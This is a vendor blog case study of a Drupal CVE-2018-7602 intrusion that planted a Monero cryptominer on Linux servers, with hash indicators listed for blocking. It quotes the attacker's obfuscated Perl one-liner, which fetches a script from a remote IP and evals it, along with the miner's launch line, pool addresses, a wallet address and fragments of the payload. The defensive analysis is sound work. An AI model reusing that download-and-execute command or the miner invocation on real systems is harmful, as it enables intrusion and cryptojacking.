Drupal Exploit on Linux – SentinelOne Detection and Response Case Study

Introduction

SentinelOne Vigilance is a managed service provided by a group of highly trained cyber security analysts. It offers another layer of security to IT teams by accelerating the detection, prioritization, and response to advanced cyber threats and reducing the risk of missing a critical alert that goes undetected. The Vigilance analysts assess the suspicious alerts, review raw threat data, process operations, and network connections, and analyze samples, as needed. They also correlate the information with threat intelligence feeds, analyze low level log data, and collaborate with security researchers to identify and prioritize events. Quite often the group investigates interesting cases. A recent Vigilance case is the subject of this article.

Recently, SentinelOne was called in by a partner to assist a company in analyzing an attack that was still going on. They knew that they were compromised in some way, and that they were still under attack, but they didn’t know much more than that. At this stage, the findings included some Linux servers showing weird CPU utilization and some Perl scripts running. So for the first step, we suggested that they install our SentinelOne agent on the Linux servers, and at the same time, involve our Vigilance team to analyze the samples, uncover the details behind the attack, and suggest a method to disinfect the systems.

Detection and Response

Once installed, the agent successfully detected the threat in no time. This Linux machine was infected by an exploit of the Drupal vulnerability (CVE-2018-7602), which resulted in running a shell command line. The command line downloads a Perl script from a remote server and executes it. The agent detected this command line as malicious due to its structure and behavior.

Figure 1. – Perl script is detected as a threat

On the infected machine, we observed a large number of Perl scripts running with the monero7 parameter.

Figure 2. – Multitude of cryptominers running on an infected Linux machine

From the logs, we can see the syntax that was used:

sh -c p$(printf e)rl -e 'BEGIN{$0=$$};use IO::Socket::INET;if(my$c=new IO::Socket::INET(PeerAddr=>"147.52.43.159:80")){print $c $_."\r\n" for (q{GET /sites/z.html HTTP/1.1},q{Host:147.52.43.159},q{User-Agent: Mozilla/5.0},q{});my$x;{local$/=undef;$x=<$c>};while($x=~s/(.*)\r\n//){last if$x=~/^$/;}eval($x);}'

This entry shows that the machine is making  a socket connection to ‘147.52.43.159’ using port ’80’ and issuing a ‘GET’ request to ‘/sites/z.html’ which is actually a Perl script. The beginning of the command also discloses this piece of information:

sh -c p$(printf e)rl

While semi obfuscated, this is simply the shell executing ‘Perl’ with the ‘e’ replaced with a sub command of ‘printf e’: sh -c perl. This method is used to hide malicious scripts from detection.

The next step of the investigation is to verify the server is up and get the requested file:

$: curl -I 147.52.43.159/sites/z.html

We know from the logs that ‘z.html’ is executed via Perl and looking at the file shows it is truncated into one line of code. Some reformatting is applied to make the code readable:

$: sed -e $'s/;/;\\\n/g' z.html

This command returns a slightly easier Perl code to read. While reviewing the code, we spotted a large chunk of hex code, which is the cryptominer:

sub { my $GIg = \'1f8b08005848fc5a0003acdc0d90dbc579c7f1bf0ffb2c63b0c54b40256e102e2fe2ad918d038224208c0d0731a0605e0438399d8fb365e21761df611908889497830e54e5551062145288201346a494516886280c655420a00249142099ff50302a3120de8c0003bdf3fed6a06fb430a5dcccf94e1f3f7a76f7d9d5fe753add5e347fc1d13d132678f6631bef706ffcd6e889c6e2f2caf29db7c6c4bd98d73bf66fc8db754bec24cffd71ecf33b757cf5bc...

Some other 15 chunks of hex code were found. They look like objects that the cryptominer loads. Here is a fraction of one of them:

push @M, $_ for ( sub { my @BnM = ('1f8b08005648fc5a0003ed586f6c5b5715bf761cc76912c78ca64dff40bdd14ec9602674a4eaba85c5e9bf97c943a149aa00cdde9eed97d88b63bbcf2f8d1ba00bcb3ad5f25255fb805a01d20412d234c43a4d42ddf6818c942e12420a0ca67c405bb531b0594503152393ba9873efbb27beef364f9dc407f8c0b59e7ff7fcee39f79efbf7dcf79e381839e4...

These chunks look interesting, so we wrote a small Python script to convert the hex string to binary. After running the extractor, we had 16 binary files.  To get the exact file type, we ran this command:

$: for f in {0..15}; do file $f; done

gzip compressed data, last modified: Wed May 16 15:03:50 2018, from Unix

After unzipping the GZIP files, we got the original files. Checking file type again revealed that these are 64-bit ELF files.

ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked

The large chunk is confirmed to be cryptominer. It is also known to VirusTotal. We recommend blacklisting the cryptominer and its zipped version. The other chunks are ELF objects which are loaded in runtime by the Perl script. We recommend blacklisting these ELF objects and their corresponding zipped versions as well.

Here is the full list of hashes of the Perl script, the ELF and the GZIP files. All of them should be entered to a blacklist.

  • 033e78cfb8c9c91e0eeb9174a7c2f551aa27fe71 – Perl script
  • 37faefefead49b36d19894f87233072464fa55df  – ELF cryptominer
  • 6b709126f5621ec3b04c12aacc7dd3803acdd6b8  – Zipped version of the cryptominer

These are the ELF objects and their zipped versions:

  • 34e2df62adfcbfbba39c74cce50f734bb284f3b3
  • ed816cf0af6b0627169f67ca2492d7e4ec0e275d
  • 471026a4954e16e203a859c5df02cdd2cc6e3e7b
  • 8108be495ea194d796623dfb8358da24605a69f7
  • 2a87dcfcfcdc4ce17b7e1655bb2f7c2ef7505885
  • bf2cc8ac57bc761466b39b98bb39d4ac54a4d501
  • 7d08e8e99f6f705bcea01344165fe9eee6ea3032
  • 8554a3b4bebd96ec3d1aebe9a0377a2d33ea4a46
  • aaf8a7610de4d52e4776c9a31351c43ddceec8e8 
  • 269b8aa8cb380b84d8a027e33f545348aad39e0e 
  • 152e70ebb75afce96064ad200292e0d593123c72
  • d693a5eeb905dba9999970d09fbe7b010a6fa47c
  • d2aa8367d07b20b023abc9c09c06798c85c83e63
  • a822a9a3585010305ebd011e4ed067bc8d94bb26
  • 251bad0a90f19e58350f5e380a248f57c7ec6325
  • 1e0860b7ac5670592401f39ed2381ec35113f48f 
  • 7b738f7d3af04ca0f557b8dd70785dde68578cb0
  • ebc08466d16fadeac8b58bec88b12167d3fe8889
  • 7b738f7d3af04ca0f557b8dd70785dde68578cb0
  • ebc08466d16fadeac8b58bec88b12167d3fe8889
  • 8a71a8a6bf3699190885ec385e3c7f4d880234d1 
  • 234921f046db70257eec90b4b340521035b4a29e
  • bee2858e02b05ed5c5e9b2b6f9e4dc6bb513d005
  • 8c8c1cde5d2cdaa25049ffee03793f3c97bf6eae 
  • 7aa3def6bb77003d162a93336db6b830ebebf1ef
  • fefe0846e5030608b2c8b1728a7c8f190af0bc81
  • 57cba985f16fc9f7b0441fd42b4c60dec10415f3
  • 3d52ac0ecce42a28487a4a13c261a86f84b6afbd
  • 4279c71c5e7c0b0253b5a04762ef13ab9d8e66a6
  • 18e5ba9f0c9f794839bdcabcb67ca7e67676fecf 

In runtime, the Perl script runs the cryptominer, while randomizing the server to communicate with, using this code:

exec $HyO "$0", \'-o\', $oAN[rand @oAN].\':\'. 80, \'-u\', \'4AY7VG9J4VBTmuUdCMDZsY359wNHyqiQzaPzyDSLAwQheUX5om9tpVj3czoCPte9E5HDj2XbawvEQ5RaMYJjdK7US3mN6wA\', \'-p\', "\'\'", \'-r\', "\'\'", \'--currency\', \'monero7\';

Here is the list of servers as detailed inside the Perl script:

  • 163.172.226.137
  • 163.172.207.198
  • 163.172.204.219
  • 163.172.207.71
  • 163.172.204.213
  • 163.172.207.69
  • 163.172.205.136

The resulting command line is exactly what is observed in Figure 2, shown above.

Summary

The attack starts with exploiting the Drupal vulnerability (CVE-2018-7602) . The shell command which is run by the Apache worker, downloads a Perl script, disguised as an HTML file and runs it. The Perl script includes 16 hex chunks embedded in it, where the large one is the cryptominer. The others are ELF objects which are loaded in runtime by the Perl script. The script runs the cryptominer while randomizing the target server.

With SentinelOne agent installed, we were able to stop the attack and remediate the infected machines. With the Vigilance managed service we uncovered the details behind it.

The post Drupal Exploit on Linux – SentinelOne Detection and Response Case Study appeared first on SentinelOne.



*** This is a Security Bloggers Network syndicated blog from SentinelOne authored by Aviram Shmueli. Read the original post at: https://www.sentinelone.com/blog/drupal-exploit-linux-sentinelone-detection-response-case-study/